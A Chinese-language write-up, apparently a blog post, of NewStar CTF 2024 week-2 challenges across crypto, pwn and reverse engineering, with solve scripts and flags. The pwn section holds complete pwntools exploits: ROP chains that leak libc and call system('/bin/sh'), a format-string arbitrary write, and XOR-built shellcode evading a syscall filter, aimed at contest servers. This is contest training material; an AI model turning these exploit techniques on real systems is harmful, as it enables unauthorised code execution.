[NewStar 2024] week2

Crypto

第2周的密码依然都是签到题

这是几次方? 疑惑!

给了个提示:hint = p^e + 10086 这里边不要当成乘幂,而且加法的优先级高于异或,所以p=hint ^ (e+10086)得到p就能正常解RSA了

Since you konw something

给的c是flag和key的字符异或,拿flag{这个头异或得到key(只有两字节)

茶里茶气

一个简单的tea加密

v2 = derta*32%p
for i in range(31,-1,-1):
    v2 = (v2-derta)%p
    v0 -= (v1+v2) ^ ( 8*v1 + v5 ) ^ ( (v1>>7) + v6 ) ; v0 %= p
    v1 -= (v0+v2) ^ ( 8*v0 + v3 ) ^ ( (v0>>7) + v4 ) ; v1 %= p
    
long_to_bytes((v0<<99)+v1)
b'flag{f14gg9_te2_1i_7ea_7}'

Just one and more than two

RSA给了因子,直接求d解密即可

PWN

第2题还是挺新的。

My_GBC!!!!!

栈溢出题,但会把payload加下密,加密也很简单就是高3低5互换然后异或5a,只是没有pop rdx所以只能利用原来的值,每次只能泄露1字节,泄露完libc就可以直接getshell

from pwn import *
context(arch='amd64', log_level='debug')
elf = ELF('./vuln')
libc = ELF('./libc.so.6')
pop_rdi = 0x00000000004013b3 # pop rdi ; ret
pop_rsi = 0x00000000004013b1 # pop rsi ; pop r15 ; ret

def enc(pay):
   p2 = b''
   for v in pay:
       v2 = ((v>>3)|(v<<5))&0xff
       p2 += bytes([v2^0x5a])
   return p2

#p = process('./vuln')
#gdb.attach(p, "b*0x401343\nc")
p = remote('101.200.139.65', 39155)

pay = b'\0'*0x18
for i in range(6):
    pay += flat(pop_rdi,1,pop_rsi,elf.got['write']+i, 0, elf.plt['write'])

pay += p64(elf.sym['main'])

p.sendafter(b"Input something: \0O", enc(pay))

p.recvline()
p.recvline()
libc.address = u64(p.recv(6)+b'\0\0') - libc.sym['write']
bin_sh = next(libc.search(b'/bin/sh\0'))
print(f"{libc.address = :x}")

pay = b'\0'*0x18 + flat(pop_rdi, bin_sh, libc.sym['system'])
p.sendafter(b"Input something: \0O", enc(pay))

p.interactive()

Inverted World

read不是标准函数,是从当前位置向前写。这样就会溢出到read函数的返回地址。这题比较新颖的并且用$0来代替/bin/sh。头回见。

from pwn import *
context(arch='amd64', log_level='debug')

p = remote('39.106.48.123', 13049)

for i in range(8):
    p.recvline()

pay = p64(0x40137c)+ b'A'*0x100
p.send(pay[::-1]+b'\n')

p.send(b'0$')

p.interactive()

 

easy fmt

先printf泄露再栈溢出,基础题

from pwn import *
context(arch='amd64', log_level='debug')
libc = ELF('./libc.so.6')

p = remote('39.106.48.123', 38698)

p.sendafter(b"data: \n", b'%16$p\n%19$p\n')
stack = int(p.recvline() ,16) - 8
libc.address = int(p.recvline(),16) - 0x29d90
pop_rdi = libc.address + 0x000000000002a3e5 # pop rdi ; ret
print(f"{stack =:x} {libc.address = :x}")

#12,13
pay = flat(pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh\0')), libc.sym['system'])
for i,v in enumerate(pay):
    if v!=0:
        p2 = f"%13$n%{v}c%12$hhn".encode().ljust(0x20,b'\0') + flat(stack+i, stack-0x4c)
    else:
        p2 = f"%13$n%12$hhn".encode().ljust(0x20,b'\0') + flat(stack+i, stack-0x4c)
    p.sendafter(b"data: \n", p2)

p.sendafter(b"data: \n", b'cat flag\n')
p.sendafter(b"data: \n", b'cat flag\n')
p.send(b'cat flag\n')

p.interactive()

ez_game

栈溢出

from pwn import *
context(arch='amd64', log_level='debug')
libc = ELF('./libc-2.31.so')
elf = ELF('./attachment')
pop_rdi = 0x400783

p = remote('39.106.48.123', 16231)

p.sendafter(b"Welcome to NewStarCTF!!!!\n", b'\0'*0x58+ flat(pop_rdi, elf.got['puts'], elf.plt['puts'], elf.sym['func']))
p.recvline()
libc.address = u64(p.recvline()[:-1]+b'\0\0') - libc.sym['puts']
print(f"{libc.address = :x}")

p.sendafter(b"Welcome to NewStarCTF!!!!\n", b'A'*0x58+ flat(pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh\0')), libc.sym['system']))

p.interactive()

Bad Asm

shellcode限制了syscall要用异或构造,常用的有xor [rsi+rbx],xx和xor [rip],xx前边这个可构造做单位置的可见字符异或,后边这个可以地址未知情况下直接异或后边两字节。

from pwn import *
context(arch='amd64', log_level='debug')

p = remote('39.106.48.123', 34301)

shellcode = '''
mov rsp,rsi;
add rsp,0x70;
push rdi;pop rsi;
xor rdi,rdi;
push 0x70; pop rdx;
push 0x17; pop rbx;
xor byte ptr[rsi+rbx],0x40
'''
shellcode = asm(shellcode)+b'\x0f\x45'
p.sendlineafter(b"Input your Code : \n", shellcode)

sleep(0.5)
p.send(b'\x90'*0x20+ asm(shellcraft.sh()))
p.interactive()

REV

UPX

用upx解相壳,这是linux下的壳要用linux下的upx解

from pwn import p64, xor

s = [0x8500fad99f8f4de3,0x4b71c1444f623ecd,0x0000890b853a7a63]
data = [0x9b2effe3b9af60c4,0x7d5fee6e515610f5,0x0000b5759c2b6e7d]
xor(b''.join([p64(i) for i in s]), b''.join([p64(i) for i in data]),b'A')
b'flag{Do_you_know_UPX?}AA'

drink_TEA

这是个标准的tea跟例子一样的。TEA加密是最容易魔改的,换移位组合sum等。

from ctypes import * 
from pwn import u32,p32

def decrypt(v,k):
	v0=c_uint32(v[0])
	v1=c_uint32(v[1])
	delta=0x9e3779b9
	sum1=c_uint32(delta*32)
	for i in range(32):
		v1.value-=((v0.value<<4)+k[2])^(v0.value+sum1.value)^((v0.value>>5)+k[3])
		v0.value-=((v1.value<<4)+k[0])^(v1.value+sum1.value)^((v1.value>>5)+k[1])
		sum1.value-=delta
	return p32(v0.value)+p32(v1.value)

key = b'WelcomeToNewStar'
key = [u32(key[i:i+4]) for i in range(0,16,4)]

c = bytes.fromhex('78 20 F7 B3 C5 42 CE DA85 59 21 1A 26 56 5A 5929 02 0D ED 07 A8 B9 EE36 59 11 87 FD 5C 23 24'.replace(' ',''))
c = [u32(c[i:i+4]) for i in range(0,32,4)]

m = b''.join(decrypt(c[i:i+2],key) for i in range(0,8,2))
#flag{There_R_TEA_XTEA_and_XXTEA}

Ptrace

主程序father调起子程序,并且通过ptrace修改子程序的代码,实现隐藏关键值的目的,这里子程序是移4位,主程序改为3

  puts("Please input your flag:");
  __isoc99_scanf("%32s", &s, v4, v5, v6, v7, v8, v9);
  v11 = fork();
  if ( v11 )
  {
    if ( v11 <= 0 )
    {
      perror("fork");
      return -1;
    }
    wait(stat_loc);
    ptrace(PTRACE_POKEDATA, addr, addr, 3); #修改子进程中移位4->3
    ptrace(PTRACE_CONT, 0, 0, 0);
    wait(0);
  }
  else
  {
    ptrace(PTRACE_TRACEME, 0, 0, 0);
    execl("./son", "son", &s, 0);
  }
c = 'CC8D2CEC6F88EDEB2FEDAEEB4EAC2C8D8D2FEB6DCDEDEEEB0E8E4E2C6CACE7AF'
bytes([((i<<3)|(i>>5))&0xff for i in bytes.fromhex(c)])
#flag{Do_you_really_know_ptrace?}

 

ezencrypt

安卓题,java里先进行AES_ECB+base64再调用jni进行xor+rc4

key = b"IamEzEncryptGame" #title

key2 = b'meow'
#Python>idc.get_bytes(0x32c0,44).hex()
enc = 'c26c73f43a450eba47812a26f6796078b3646ddcc904323b9f329560ee8297e7ca3daa9576c59b1d89db985d'

#AES_ECB -> base64 -> xor -> RC4

#flag{0hh_U_kn0w_7h15_5ki11}

PangBai 泰拉记(1)

 这里开了反调,如果监测到启用了调试就会运行上边函数,正常运行就是下边。

这种东西一共就两个,可以都试吧。并不会增加难度,除非那个人非理解代码不可。

  if ( miao | IsDebuggerPresent() )
  {
    qmemcpy(v3, "nhvviCS", 7);
    v3[7] = 127;
    qmemcpy(v4, "R{e8%oCrdepIvebcR", 17);
    v4[17] = 127;
    qmemcpy(v5, "b>&ah{", sizeof(v5));
    for ( j = 0; j < 32; ++j )
      key[j] ^= v3[j];
  }
  else
  {
    qmemcpy(v7, "nhvviguMI?u\",o/fWivoM;", 22);
    v7[22] = 127;
    qmemcpy(v8, "Homy2.l#{", sizeof(v8));
    for ( k = 0; k < 32; ++k )
      key[k] ^= v7[k];
  }
key = b'key1key2key3key4key6key7key8key9'

c = b'can you find me can you find me?'

key2 = b"nhvviCS\x7fR{e8%oCrdepIvebcR\x7fb>&ah{" #
key3 = b"nhvviguMI?u\",o/fWivoM;\x7fHomy2.l#{"

xor(key,key3,c)
#b'flag{my_D3bugg3r_may_1s_banned?}'

 

Dirty_flowers

反汇编,就是针对IDA的,加花指令,比如jz a;jnz a;不管怎么样就跟到a,但IDA理解不了,会把前边加的EX理解成跳转然后就乱了。手工nop以后就能正常反编译。

key = b"dirty_flower"
v3 = [2, 5, 19, 19, 2, 30, 83, 31, 92, 26, 39, 67, 29, 54, 67, 7, 38, 45, 85, 13, 3, 27, 28, 45, 2, 28, 28, 48, 56, 50, 85, 2, 27, 22, 84, 15]

xor(bytes(v3),key)
#b'flag{A5s3mB1y_1s_r3ally_funDAm3nta1}'

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值